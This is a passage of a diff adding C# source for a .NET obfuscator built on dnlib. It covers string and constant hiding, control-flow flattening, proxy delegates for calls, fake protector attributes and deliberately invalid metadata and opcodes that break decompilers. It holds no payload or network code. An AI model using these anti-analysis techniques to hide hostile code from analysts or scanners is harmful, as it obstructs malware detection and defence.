+			MethodDef[] array2 = array[i].Methods.ToArray();
+			foreach (MethodDef methodDef in array2)
+			{
+				if (!methodDef.HasBody || !methodDef.Body.HasInstructions || methodDef.FullName.Contains("My.") || methodDef.FullName.Contains(".My") || methodDef.FullName.Contains("Costura") || methodDef.IsConstructor || methodDef.DeclaringType.IsGlobalModuleType)
+				{
+					continue;
+				}
+				for (int k = 0; k < methodDef.Body.Instructions.Count - 1; k++)
+				{
+					try
+					{
+						if (!methodDef.Body.Instructions[k].ToString().Contains("ISupportInitialize") && (methodDef.Body.Instructions[k].OpCode == OpCodes.Call || methodDef.Body.Instructions[k].OpCode == OpCodes.Callvirt || methodDef.Body.Instructions[k].OpCode == OpCodes.Ldloc_S) && !methodDef.Body.Instructions[k].ToString().Contains("Object") && (methodDef.Body.Instructions[k].OpCode == OpCodes.Call || methodDef.Body.Instructions[k].OpCode == OpCodes.Callvirt || methodDef.Body.Instructions[k].OpCode == OpCodes.Ldloc_S))
+						{
+							try
+							{
+								MemberRef memberRef = (MemberRef)methodDef.Body.Instructions[k].Operand;
+								methodDef.Body.Instructions[k].OpCode = OpCodes.Calli;
+								methodDef.Body.Instructions[k].Operand = memberRef.MethodSig;
+								methodDef.Body.Instructions.Insert(k, Instruction.Create(OpCodes.Ldftn, memberRef));
+							}
+							catch (Exception)
+							{
+							}
+						}
+					}
+					catch (Exception)
+					{
+					}
+				}
+			}
+			foreach (MethodDef method in module.GlobalType.Methods)
+			{
+				if (!(method.Name != ".ctor"))
+				{
+					module.GlobalType.Remove(method);
+					break;
+				}
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.ConstMelting/ConstMelting.cs

@@ -0,0 +1,86 @@
+using System.Linq;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.ConstMelting;
+
+internal class ConstMelting
+{
+	public static void Execute(ModuleDef moduleDef)
+	{
+		TypeDef[] array = moduleDef.Types.ToArray();
+		for (int i = 0; i < array.Length; i++)
+		{
+			MethodDef[] array2 = array[i].Methods.ToArray();
+			foreach (MethodDef methodDef in array2)
+			{
+				ReplaceStringLiterals(methodDef);
+				ReplaceIntLiterals(methodDef);
+			}
+		}
+	}
+
+	private static void ReplaceStringLiterals(MethodDef methodDef)
+	{
+		if (!CanObfuscate(methodDef))
+		{
+			return;
+		}
+		foreach (Instruction instruction in methodDef.Body.Instructions)
+		{
+			if (instruction.OpCode == OpCodes.Ldstr)
+			{
+				MethodDef methodDef2 = new MethodDefUser(Methods.GenerateString(), MethodSig.CreateStatic(methodDef.DeclaringType.Module.CorLibTypes.String), MethodImplAttributes.IL, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig)
+				{
+					Body = new CilBody()
+				};
+				methodDef2.Body.Instructions.Add(new Instruction(OpCodes.Ldstr, instruction.Operand.ToString()));
+				methodDef2.Body.Instructions.Add(new Instruction(OpCodes.Ret));
+				methodDef.DeclaringType.Methods.Add(methodDef2);
+				instruction.OpCode = OpCodes.Call;
+				instruction.Operand = methodDef2;
+			}
+		}
+	}
+
+	private static void ReplaceIntLiterals(MethodDef methodDef)
+	{
+		if (!CanObfuscate(methodDef))
+		{
+			return;
+		}
+		foreach (Instruction instruction in methodDef.Body.Instructions)
+		{
+			if (instruction.OpCode == OpCodes.Ldc_I4)
+			{
+				MethodDef methodDef2 = new MethodDefUser(Methods.GenerateString(), MethodSig.CreateStatic(methodDef.DeclaringType.Module.CorLibTypes.Int32), MethodImplAttributes.IL, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig)
+				{
+					Body = new CilBody()
+				};
+				methodDef2.Body.Instructions.Add(new Instruction(OpCodes.Ldc_I4, instruction.GetLdcI4Value()));
+				methodDef2.Body.Instructions.Add(new Instruction(OpCodes.Ret));
+				methodDef.DeclaringType.Methods.Add(methodDef2);
+				instruction.OpCode = OpCodes.Call;
+				instruction.Operand = methodDef2;
+			}
+		}
+	}
+
+	public static bool CanObfuscate(MethodDef methodDef)
+	{
+		if (!methodDef.HasBody)
+		{
+			return false;
+		}
+		if (!methodDef.Body.HasInstructions)
+		{
+			return false;
+		}
+		if (methodDef.DeclaringType.IsGlobalModuleType)
+		{
+			return false;
+		}
+		return true;
+	}
+}

Obfuscator.Obfuscator.CtrlFlow/Block.cs

@@ -0,0 +1,20 @@
+using System.Collections.Generic;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.CtrlFlow;
+
+public class Block
+{
+	public List<Instruction> Instructions { get; set; }
+
+	public int Number { get; set; }
+
+	public int SubRand { get; set; }
+
+	public int PlusRand { get; set; }
+
+	public Block()
+	{
+		Instructions = new List<Instruction>();
+	}
+}

Obfuscator.Obfuscator.CtrlFlow/BlockParser.cs

@@ -0,0 +1,48 @@
+using System.Collections.Generic;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.CtrlFlow;
+
+public class BlockParser
+{
+	public static List<Block> ParseMethod(MethodDef method)
+	{
+		List<Block> list = new List<Block>();
+		Block block = new Block();
+		int num = 0;
+		int num2 = 0;
+		block.Number = num;
+		block.Instructions.Add(Instruction.Create(OpCodes.Nop));
+		list.Add(block);
+		block = new Block();
+		Stack<ExceptionHandler> stack = new Stack<ExceptionHandler>();
+		foreach (Instruction instruction in method.Body.Instructions)
+		{
+			foreach (ExceptionHandler exceptionHandler in method.Body.ExceptionHandlers)
+			{
+				if (exceptionHandler.HandlerStart == instruction || exceptionHandler.TryStart == instruction || exceptionHandler.FilterStart == instruction)
+				{
+					stack.Push(exceptionHandler);
+				}
+			}
+			foreach (ExceptionHandler exceptionHandler2 in method.Body.ExceptionHandlers)
+			{
+				if (exceptionHandler2.HandlerEnd == instruction || exceptionHandler2.TryEnd == instruction)
+				{
+					stack.Pop();
+				}
+			}
+			instruction.CalculateStackUsage(out var pushes, out var pops);
+			block.Instructions.Add(instruction);
+			num2 += pushes - pops;
+			if (pushes == 0 && instruction.OpCode != OpCodes.Nop && (num2 == 0 || instruction.OpCode == OpCodes.Ret) && stack.Count == 0)
+			{
+				num = (block.Number = num + 1);
+				list.Add(block);
+				block = new Block();
+			}
+		}
+		return list;
+	}
+}

Obfuscator.Obfuscator.CtrlFlow/CflowV2.cs

@@ -0,0 +1,75 @@
+using System;
+using System.Linq;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Obfuscator.IntProtect;
+
+namespace Obfuscator.Obfuscator.CtrlFlow;
+
+internal class CflowV2
+{
+	private static readonly Type[] types = new Type[7]
+	{
+		typeof(uint),
+		typeof(int),
+		typeof(long),
+		typeof(ulong),
+		typeof(ushort),
+		typeof(short),
+		typeof(double)
+	};
+
+	private static readonly int[] sizes = new int[7] { 4, 4, 8, 8, 2, 2, 8 };
+
+	public static void Execute(ModuleDefMD md)
+	{
+		foreach (TypeDef type in md.Types)
+		{
+			if (type == md.GlobalType)
+			{
+				continue;
+			}
+			foreach (MethodDef method in type.Methods)
+			{
+				if (!method.Name.StartsWith("get_") && !method.Name.StartsWith("set_") && method.HasBody && !method.IsConstructor)
+				{
+					method.Body.SimplifyBranches();
+					ExecuteMethod(method);
+				}
+			}
+		}
+	}
+
+	public static void ExecuteMethod(MethodDef method)
+	{
+		Console.WriteLine(string.Concat(method.Name, method.Body.Instructions.Count().ToString()));
+		for (int i = 0; i < method.Body.Instructions.Count(); i++)
+		{
+			if (method.Body.Instructions[i].IsLdcI4())
+			{
+				int num = IntEncoding.Next();
+				int num2 = IntEncoding.Next();
+				int value = num ^ num2;
+				int num3 = IntEncoding.Next(types.Length);
+				Type type = types[num3];
+				Instruction instruction = OpCodes.Nop.ToInstruction();
+				Local local = new Local(method.Module.ImportAsTypeSig(type));
+				Instruction item = OpCodes.Stloc.ToInstruction(local);
+				method.Body.Variables.Add(local);
+				method.Body.Instructions.Insert(i + 1, item);
+				method.Body.Instructions.Insert(i + 2, Instruction.Create(OpCodes.Ldc_I4, method.Body.Instructions[i].GetLdcI4Value() - sizes[num3]));
+				method.Body.Instructions.Insert(i + 3, Instruction.Create(OpCodes.Ldc_I4, value));
+				method.Body.Instructions.Insert(i + 4, Instruction.Create(OpCodes.Ldc_I4, num2));
+				method.Body.Instructions.Insert(i + 5, Instruction.Create(OpCodes.Xor));
+				method.Body.Instructions.Insert(i + 6, Instruction.Create(OpCodes.Ldc_I4, num));
+				method.Body.Instructions.Insert(i + 7, Instruction.Create(OpCodes.Bne_Un, instruction));
+				method.Body.Instructions.Insert(i + 8, Instruction.Create(OpCodes.Ldc_I4, 2));
+				method.Body.Instructions.Insert(i + 9, item);
+				method.Body.Instructions.Insert(i + 10, Instruction.Create(OpCodes.Sizeof, method.Module.Import(type)));
+				method.Body.Instructions.Insert(i + 11, Instruction.Create(OpCodes.Add));
+				method.Body.Instructions.Insert(i + 12, instruction);
+				i += method.Body.Instructions.Count - i;
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.CtrlFlow/ControlFlowObfuscation.cs

@@ -0,0 +1,128 @@
+using System;
+using System.Collections.Generic;
+using System.Linq;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.CtrlFlow;
+
+internal class ControlFlowObfuscation
+{
+	public static Random rnd = new Random();
+
+	public static void Execute(ModuleDefMD md)
+	{
+		foreach (TypeDef type in md.Types)
+		{
+			if (type == md.GlobalType)
+			{
+				continue;
+			}
+			foreach (MethodDef method in type.Methods)
+			{
+				if (!method.Name.StartsWith("get_") && !method.Name.StartsWith("set_") && method.HasBody && !method.IsConstructor)
+				{
+					method.Body.SimplifyBranches();
+					ExecuteMethod(method);
+				}
+			}
+		}
+	}
+
+	public static TypeSig RandomSig(MethodDef method)
+	{
+		return rnd.Next(0, 3) switch
+		{
+			0 => method.Module.CorLibTypes.Int32, 
+			1 => method.Module.CorLibTypes.Int64, 
+			2 => method.Module.CorLibTypes.Double, 
+			_ => method.Module.CorLibTypes.Int32, 
+		};
+	}
+
+	public static void ExecuteMethod(MethodDef method)
+	{
+		foreach (ParamDef paramDef in method.ParamDefs)
+		{
+			paramDef.Name = Methods.GenerateString(16);
+		}
+		method.Body.SimplifyMacros(method.Parameters);
+		List<Block> blocks = BlockParser.ParseMethod(method);
+		int num = rnd.Next(1, 10);
+		int num2 = 0;
+		foreach (Block item in blocks)
+		{
+			item.SubRand = num;
+			num = (item.PlusRand = rnd.Next(num + 1, num + 10));
+			if (blocks.Count - 2 == item.Number)
+			{
+				num2 = num;
+			}
+		}
+		blocks = Randomize(blocks);
+		method.Body.Instructions.Clear();
+		Local local = new Local(RandomSig(method));
+		method.Body.Variables.Add(local);
+		local.Name = Methods.GenerateString();
+		Instruction instruction = Instruction.Create(OpCodes.Nop);
+		Instruction instruction2 = Instruction.Create(OpCodes.Br, instruction);
+		int num4 = rnd.Next(0, 10000);
+		method.Body.Instructions.Add(Calc(num4, local.Type));
+		method.Body.Instructions.Add(OpCodes.Stloc.ToInstruction(local));
+		method.Body.Instructions.Add(Instruction.Create(OpCodes.Br, instruction2));
+		method.Body.Instructions.Add(instruction);
+		foreach (Block item2 in blocks.Where((Block block) => block != blocks.Single((Block x) => x.Number == blocks.Count - 1)))
+		{
+			method.Body.Instructions.Add(OpCodes.Ldloc.ToInstruction(local));
+			if (item2.Number == 0)
+			{
+				method.Body.Instructions.Add(Calc(num4, local.Type));
+			}
+			else
+			{
+				method.Body.Instructions.Add(Calc(item2.SubRand + num4, local.Type));
+			}
+			method.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq));
+			Instruction instruction3 = Instruction.Create(OpCodes.Nop);
+			method.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse, instruction3));
+			foreach (Instruction instruction4 in item2.Instructions)
+			{
+				method.Body.Instructions.Add(instruction4);
+			}
+			method.Body.Instructions.Add(Calc(item2.PlusRand + num4, local.Type));
+			method.Body.Instructions.Add(OpCodes.Stloc.ToInstruction(local));
+			method.Body.Instructions.Add(instruction3);
+		}
+		method.Body.Instructions.Add(OpCodes.Ldloc.ToInstruction(local));
+		method.Body.Instructions.Add(Calc(num2 + num4, local.Type));
+		method.Body.Instructions.Add(Instruction.Create(OpCodes.Ceq));
+		method.Body.Instructions.Add(Instruction.Create(OpCodes.Brfalse, instruction2));
+		method.Body.Instructions.Add(Instruction.Create(OpCodes.Br, blocks.Single((Block x) => x.Number == blocks.Count - 1).Instructions[0]));
+		method.Body.Instructions.Add(instruction2);
+		foreach (Instruction instruction5 in blocks.Single((Block x) => x.Number == blocks.Count - 1).Instructions)
+		{
+			method.Body.Instructions.Add(instruction5);
+		}
+		method.Body.InitLocals = true;
+	}
+
+	public static List<Block> Randomize(List<Block> input)
+	{
+		List<Block> list = new List<Block>();
+		foreach (Block item in input)
+		{
+			list.Insert(rnd.Next(0, list.Count), item);
+		}
+		return list;
+	}
+
+	public static Instruction Calc(int value, TypeSig sig)
+	{
+		if (sig == sig.Module.CorLibTypes.Double)
+		{
+			return Instruction.Create(OpCodes.Ldc_R8, (double)value);
+		}
+		return Instruction.Create(OpCodes.Ldc_I4, value);
+	}
+}

Obfuscator.Obfuscator.FakeAttributes/FakeAttributes.cs

@@ -0,0 +1,19 @@
+using System;
+using System.Collections.Generic;
+using dnlib.DotNet;
+
+namespace Obfuscator.Obfuscator.FakeAttributes;
+
+internal class FakeAttributes
+{
+	public static void Execute(ModuleDef module)
+	{
+		foreach (string item in new List<string> { "ZYXDNGuarder", "HVMRuntm.dll" })
+		{
+			TypeDef typeDef = new TypeDefUser("Attributes", item, module.Import(typeof(Attribute)));
+			typeDef.Attributes = TypeAttributes.NotPublic;
+			module.Types.Add(typeDef);
+		}
+		_ = module.Types[new Random().Next(0, module.Types.Count)];
+	}
+}

Obfuscator.Obfuscator.ImportProtect/ImportProtect.cs

@@ -0,0 +1,156 @@
+using System.Collections.Generic;
+using System.Linq;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.ImportProtect;
+
+internal class ImportProtect
+{
+	public static FieldDefUser CreateField(FieldSig sig)
+	{
+		return new FieldDefUser(Methods.GenerateString(), sig, FieldAttributes.Public | FieldAttributes.Static);
+	}
+
+	public static void Execute(ModuleDef module)
+	{
+		Dictionary<IMethod, MethodDef> dictionary = new Dictionary<IMethod, MethodDef>();
+		Dictionary<IMethod, TypeDef> dictionary2 = new Dictionary<IMethod, TypeDef>();
+		FieldDefUser fieldDefUser = CreateField(new FieldSig(module.ImportAsTypeSig(typeof(object[]))));
+		MethodDef methodDef = module.GlobalType.FindOrCreateStaticConstructor();
+		TypeDef[] array = module.GetTypes().ToArray();
+		foreach (TypeDef typeDef in array)
+		{
+			if (typeDef.IsDelegate || typeDef.IsGlobalModuleType || typeDef.Namespace == "Costura")
+			{
+				continue;
+			}
+			MethodDef[] array2 = typeDef.Methods.ToArray();
+			foreach (MethodDef methodDef2 in array2)
+			{
+				if (!methodDef2.HasBody || !methodDef2.Body.HasInstructions || methodDef2.IsConstructor)
+				{
+					continue;
+				}
+				IList<Instruction> instructions = methodDef2.Body.Instructions;
+				for (int k = 0; k < instructions.Count; k++)
+				{
+					if ((instructions[k].OpCode != OpCodes.Call && instructions[k].OpCode == OpCodes.Callvirt) || !(instructions[k].Operand is IMethod { IsMethodDef: not false } method))
+					{
+						continue;
+					}
+					MethodDef methodDef3 = method.ResolveMethodDef();
+					if (methodDef3 == null || methodDef3.HasThis)
+					{
+						continue;
+					}
+					if (dictionary.ContainsKey(method))
+					{
+						instructions[k].OpCode = OpCodes.Call;
+						instructions[k].Operand = dictionary[method];
+						continue;
+					}
+					MethodSig methodSig = CreateProxySignature(module, methodDef3);
+					TypeDef typeDef2 = CreateDelegateType(module, methodSig);
+					module.Types.Add(typeDef2);
+					MethodImplAttributes implFlags = MethodImplAttributes.IL;
+					MethodAttributes flags = MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.HideBySig;
+					MethodDefUser methodDefUser = new MethodDefUser(Methods.GenerateString(), methodSig, implFlags, flags);
+					methodDefUser.Body = new CilBody();
+					methodDefUser.Body.Instructions.Add(OpCodes.Ldsfld.ToInstruction(fieldDefUser));
+					methodDefUser.Body.Instructions.Add(OpCodes.Ldc_I4.ToInstruction(dictionary2.Count));
+					methodDefUser.Body.Instructions.Add(OpCodes.Ldelem_Ref.ToInstruction());
+					foreach (Parameter parameter in methodDefUser.Parameters)
+					{
+						parameter.Name = Methods.GenerateString();
+						methodDefUser.Body.Instructions.Add(OpCodes.Ldarg.ToInstruction(parameter));
+					}
+					methodDefUser.Body.Instructions.Add(OpCodes.Call.ToInstruction(typeDef2.Methods[1]));
+					methodDefUser.Body.Instructions.Add(OpCodes.Ret.ToInstruction());
+					typeDef2.Methods.Add(methodDefUser);
+					instructions[k].OpCode = OpCodes.Call;
+					instructions[k].Operand = methodDefUser;
+					if (method.IsMethodDef)
+					{
+						dictionary2.Add(methodDef3, typeDef2);
+					}
+					else if (method.IsMemberRef)
+					{
+						dictionary2.Add(method as MemberRef, typeDef2);
+					}
+					dictionary.Add(method, methodDefUser);
+				}
+			}
+		}
+		module.GlobalType.Fields.Add(fieldDefUser);
+		List<Instruction> list = new List<Instruction>();
+		List<Instruction> list2 = methodDef.Body.Instructions.ToList();
+		methodDef.Body.Instructions.Clear();
+		list.Add(OpCodes.Ldc_I4.ToInstruction(dictionary2.Count));
+		list.Add(OpCodes.Newarr.ToInstruction(module.CorLibTypes.Object));
+		list.Add(OpCodes.Dup.ToInstruction());
+		int num = 0;
+		foreach (KeyValuePair<IMethod, TypeDef> item in dictionary2)
+		{
+			list.Add(OpCodes.Ldc_I4.ToInstruction(num));
+			list.Add(OpCodes.Ldnull.ToInstruction());
+			list.Add(OpCodes.Ldftn.ToInstruction(item.Key));
+			list.Add(OpCodes.Newobj.ToInstruction(item.Value.Methods[0]));
+			list.Add(OpCodes.Stelem_Ref.ToInstruction());
+			list.Add(OpCodes.Dup.ToInstruction());
+			num++;
+		}
+		list.Add(OpCodes.Pop.ToInstruction());
+		list.Add(OpCodes.Stsfld.ToInstruction(fieldDefUser));
+		foreach (Instruction item2 in list)
+		{
+			methodDef.Body.Instructions.Add(item2);
+		}
+		foreach (Instruction item3 in list2)
+		{
+			methodDef.Body.Instructions.Add(item3);
+		}
+	}
+
+	public static TypeDef CreateDelegateType(ModuleDef module, MethodSig sig)
+	{
+		TypeDefUser obj = new TypeDefUser(Methods.GenerateString(), module.CorLibTypes.GetTypeRef("System", "MulticastDelegate"))
+		{
+			Attributes = (TypeAttributes.Public | TypeAttributes.Sealed)
+		};
+		MethodDefUser item = new MethodDefUser(".ctor", MethodSig.CreateInstance(module.CorLibTypes.Void, module.CorLibTypes.Object, module.CorLibTypes.IntPtr))
+		{
+			Attributes = (MethodAttributes.Assembly | MethodAttributes.HideBySig | MethodAttributes.SpecialName | MethodAttributes.RTSpecialName),
+			ImplAttributes = MethodImplAttributes.CodeTypeMask
+		};
+		obj.Methods.Add(item);
+		MethodDefUser item2 = new MethodDefUser("Invoke", sig.Clone())
+		{
+			MethodSig = 
+			{
+				HasThis = true
+			},
+			Attributes = (MethodAttributes.Assembly | MethodAttributes.Virtual | MethodAttributes.HideBySig | MethodAttributes.VtableLayoutMask),
+			ImplAttributes = MethodImplAttributes.CodeTypeMask
+		};
+		obj.Methods.Add(item2);
+		return obj;
+	}
+
+	public static MethodSig CreateProxySignature(ModuleDef module, IMethod method)
+	{
+		IEnumerable<TypeSig> enumerable = method.MethodSig.Params.Select((TypeSig type) => (type.IsClassSig && method.MethodSig.HasThis) ? module.CorLibTypes.Object : type);
+		if (method.MethodSig.HasThis && !method.MethodSig.ExplicitThis)
+		{
+			TypeDef typeDef = method.DeclaringType.ResolveTypeDefThrow();
+			enumerable = (typeDef.IsValueType ? new TypeSig[1] { typeDef.ToTypeSig() }.Concat(enumerable) : new CorLibTypeSig[1] { module.CorLibTypes.Object }.Concat(enumerable));
+		}
+		TypeSig typeSig = method.MethodSig.RetType;
+		if (typeSig.IsClassSig)
+		{
+			typeSig = module.CorLibTypes.Object;
+		}
+		return MethodSig.CreateStatic(typeSig, enumerable.ToArray());
+	}
+}

Obfuscator.Obfuscator.IntProtect/Int.cs

@@ -0,0 +1,52 @@
+using System;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.IntProtect;
+
+internal class Int
+{
+	public static void Execute(ModuleDef moduleDef)
+	{
+		foreach (TypeDef type in moduleDef.GetTypes())
+		{
+			if (type.IsGlobalModuleType)
+			{
+				continue;
+			}
+			foreach (MethodDef method in type.Methods)
+			{
+				if (!method.HasBody)
+				{
+					continue;
+				}
+				for (int i = 0; i < method.Body.Instructions.Count; i++)
+				{
+					if (method.Body.Instructions[i].IsLdcI4())
+					{
+						int num = new Random(Guid.NewGuid().GetHashCode()).Next();
+						int num2 = new Random(Guid.NewGuid().GetHashCode()).Next();
+						int value = num ^ num2;
+						Instruction instruction = OpCodes.Nop.ToInstruction();
+						Local local = new Local(method.Module.ImportAsTypeSig(typeof(int)));
+						method.Body.Variables.Add(local);
+						method.Body.Instructions.Insert(i + 1, OpCodes.Stloc.ToInstruction(local));
+						method.Body.Instructions.Insert(i + 2, Instruction.Create(OpCodes.Ldc_I4, method.Body.Instructions[i].GetLdcI4Value() - 4));
+						method.Body.Instructions.Insert(i + 3, Instruction.Create(OpCodes.Ldc_I4, num));
+						method.Body.Instructions.Insert(i + 4, Instruction.Create(OpCodes.Ldc_I4, value));
+						method.Body.Instructions.Insert(i + 5, Instruction.Create(OpCodes.Xor));
+						method.Body.Instructions.Insert(i + 6, Instruction.Create(OpCodes.Ldc_I4, num2));
+						method.Body.Instructions.Insert(i + 7, Instruction.Create(OpCodes.Bne_Un, instruction));
+						method.Body.Instructions.Insert(i + 8, Instruction.Create(OpCodes.Ldc_I4, 2));
+						method.Body.Instructions.Insert(i + 9, OpCodes.Stloc.ToInstruction(local));
+						method.Body.Instructions.Insert(i + 10, Instruction.Create(OpCodes.Sizeof, method.Module.Import(typeof(float))));
+						method.Body.Instructions.Insert(i + 11, Instruction.Create(OpCodes.Add));
+						method.Body.Instructions.Insert(i + 12, instruction);
+						i += 12;
+					}
+				}
+				method.Body.SimplifyBranches();
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.IntProtect/IntEncoding.cs

@@ -0,0 +1,105 @@
+using System;
+using System.Security.Cryptography;
+using System.Text;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.IntProtect;
+
+internal static class IntEncoding
+{
+	private static readonly RandomNumberGenerator csp = RandomNumberGenerator.Create();
+
+	public static int Next(int minValue = 0, int maxValue = int.MaxValue)
+	{
+		if (minValue >= maxValue)
+		{
+			throw new ArgumentOutOfRangeException("minValue");
+		}
+		long num = (long)maxValue - (long)minValue;
+		long num2 = uint.MaxValue / num * num;
+		uint num3;
+		do
+		{
+			num3 = RandomUInt();
+		}
+		while (num3 >= num2);
+		return (int)(minValue + num3 % num);
+	}
+
+	public static string GenerateRandomString(int length)
+	{
+		byte[] bytes = RandomBytes(length);
+		return Encoding.UTF7.GetString(bytes).Replace("\0", ".").Replace("\n", ".")
+			.Replace("\r", ".");
+	}
+
+	public static int GetRandomStringLength()
+	{
+		return Next(30, 120);
+	}
+
+	public static int GetRandomInt32()
+	{
+		return BitConverter.ToInt32(RandomBytes(4), 0);
+	}
+
+	private static uint RandomUInt()
+	{
+		return BitConverter.ToUInt32(RandomBytes(4), 0);
+	}
+
+	private static byte[] RandomBytes(int bytes)
+	{
+		byte[] array = new byte[bytes];
+		csp.GetBytes(array);
+		return array;
+	}
+
+	public static void Execute(ModuleDef moduleDef)
+	{
+		IMethod method = moduleDef.Import(typeof(Math).GetMethod("Abs", new Type[1] { typeof(int) }));
+		IMethod method2 = moduleDef.Import(typeof(Math).GetMethod("Min", new Type[2]
+		{
+			typeof(int),
+			typeof(int)
+		}));
+		foreach (TypeDef type in moduleDef.Types)
+		{
+			if (type.IsGlobalModuleType)
+			{
+				continue;
+			}
+			foreach (MethodDef method3 in type.Methods)
+			{
+				if (!method3.HasBody)
+				{
+					continue;
+				}
+				for (int i = 0; i < method3.Body.Instructions.Count; i++)
+				{
+					if (method3.Body.Instructions[i].Operand is int num && num > 0)
+					{
+						method3.Body.Instructions.Insert(i + 1, OpCodes.Call.ToInstruction(method));
+						int num2 = Next(8, GetRandomStringLength());
+						if (num2 % 2 != 0)
+						{
+							num2++;
+						}
+						for (int j = 0; j < num2; j++)
+						{
+							method3.Body.Instructions.Insert(i + j + 1, Instruction.Create(OpCodes.Neg));
+						}
+						if (num < int.MaxValue)
+						{
+							method3.Body.Instructions.Insert(i + 1, OpCodes.Ldc_I4.ToInstruction(int.MaxValue));
+							method3.Body.Instructions.Insert(i + 2, OpCodes.Call.ToInstruction(method2));
+						}
+						i += num2 + 2;
+					}
+				}
+				method3.Body.SimplifyBranches();
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Invalid/InvalidMD.cs

@@ -0,0 +1,88 @@
+using System;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+using Obfuscator.Helper;
+
+namespace Obfuscator.Obfuscator.Invalid;
+
+internal class InvalidMD
+{
+	public static void Execute(ModuleDef module)
+	{
+		module.Mvid = null;
+		module.Name = Methods.GenerateString();
+		module.Import(new FieldDefUser(Methods.GenerateString()));
+		foreach (TypeDef type in module.Types)
+		{
+			TypeDef typeDef = new TypeDefUser(Methods.GenerateString());
+			typeDef.Methods.Add(new MethodDefUser());
+			typeDef.NestedTypes.Add(new TypeDefUser(Methods.GenerateString()));
+			MethodDef item = new MethodDefUser();
+			typeDef.Methods.Add(item);
+			type.NestedTypes.Add(typeDef);
+			type.Events.Add(new EventDefUser());
+			foreach (MethodDef method in type.Methods)
+			{
+				if (method.Body == null)
+				{
+					continue;
+				}
+				method.Body.SimplifyBranches();
+				if (string.Compare(method.ReturnType.FullName, "System.Void", StringComparison.Ordinal) == 0 && method.HasBody && method.Body.Instructions.Count != 0)
+				{
+					Local local = new Local(module.Import(typeof(int)).ToTypeSig());
+					Local local2 = new Local(module.Import(typeof(bool)).ToTypeSig());
+					method.Body.Variables.Add(local);
+					method.Body.Variables.Add(local2);
+					Instruction operand = method.Body.Instructions[method.Body.Instructions.Count - 1];
+					Instruction item2 = new Instruction(OpCodes.Ret);
+					Instruction instruction = new Instruction(OpCodes.Ldc_I4_1);
+					method.Body.Instructions.Insert(0, new Instruction(OpCodes.Ldc_I4_0));
+					method.Body.Instructions.Insert(1, new Instruction(OpCodes.Stloc, local));
+					method.Body.Instructions.Insert(2, new Instruction(OpCodes.Br, instruction));
+					Instruction instruction2 = new Instruction(OpCodes.Ldloc, local);
+					method.Body.Instructions.Insert(3, instruction2);
+					method.Body.Instructions.Insert(4, new Instruction(OpCodes.Ldc_I4_0));
+					method.Body.Instructions.Insert(5, new Instruction(OpCodes.Ceq));
+					method.Body.Instructions.Insert(6, new Instruction(OpCodes.Ldc_I4_1));
+					method.Body.Instructions.Insert(7, new Instruction(OpCodes.Ceq));
+					method.Body.Instructions.Insert(8, new Instruction(OpCodes.Stloc, local2));
+					method.Body.Instructions.Insert(9, new Instruction(OpCodes.Ldloc, local2));
+					method.Body.Instructions.Insert(10, new Instruction(OpCodes.Brtrue, method.Body.Instructions[10]));
+					method.Body.Instructions.Insert(11, new Instruction(OpCodes.Ret));
+					method.Body.Instructions.Insert(12, new Instruction(OpCodes.Calli));
+					method.Body.Instructions.Insert(13, new Instruction(OpCodes.Sizeof, operand));
+					method.Body.Instructions.Insert(method.Body.Instructions.Count, instruction);
+					method.Body.Instructions.Insert(method.Body.Instructions.Count, new Instruction(OpCodes.Stloc, local2));
+					method.Body.Instructions.Insert(method.Body.Instructions.Count, new Instruction(OpCodes.Br, instruction2));
+					method.Body.Instructions.Insert(method.Body.Instructions.Count, item2);
+					ExceptionHandler item3 = new ExceptionHandler(ExceptionHandlerType.Finally)
+					{
+						HandlerStart = method.Body.Instructions[10],
+						HandlerEnd = method.Body.Instructions[11],
+						TryEnd = method.Body.Instructions[14],
+						TryStart = method.Body.Instructions[12]
+					};
+					if (!method.Body.HasExceptionHandlers)
+					{
+						method.Body.ExceptionHandlers.Add(item3);
+					}
+					method.Body.OptimizeBranches();
+					method.Body.OptimizeMacros();
+				}
+			}
+		}
+		TypeDef typeDef2 = new TypeDefUser(Methods.GenerateString());
+		FieldDef item4 = new FieldDefUser(Methods.GenerateString(), new FieldSig(module.Import(typeof(void)).ToTypeSig()));
+		typeDef2.Fields.Add(item4);
+		typeDef2.BaseType = module.Import(typeof(void));
+		module.Types.Add(typeDef2);
+		TypeDef item5 = new TypeDefUser(Methods.GenerateString())
+		{
+			IsInterface = true,
+			IsSealed = true
+		};
+		module.Types.Add(item5);
+		module.TablesHeaderVersion = (ushort)257;
+	}
+}

Obfuscator.Obfuscator.Invalid/InvalidOpcodes.cs

@@ -0,0 +1,22 @@
+using System;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
+
+namespace Obfuscator.Obfuscator.Invalid;
+
+internal class InvalidOpcodes
+{
+	public static void Execute(ModuleDef module)
+	{
+		foreach (TypeDef type in module.GetTypes())
+		{
+			foreach (MethodDef method in type.Methods)
+			{
+				if (method.HasBody || method.Body.HasInstructions)
+				{
+					method.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Box, method.Module.Import(typeof(Math))));
+				}
+			}
+		}
+	}
+}

Obfuscator.Obfuscator.Junk/Junks.cs

@@ -0,0 +1,279 @@
+using System;
+using System.Collections.Generic;
+using dnlib.DotNet;
+using dnlib.DotNet.Emit;
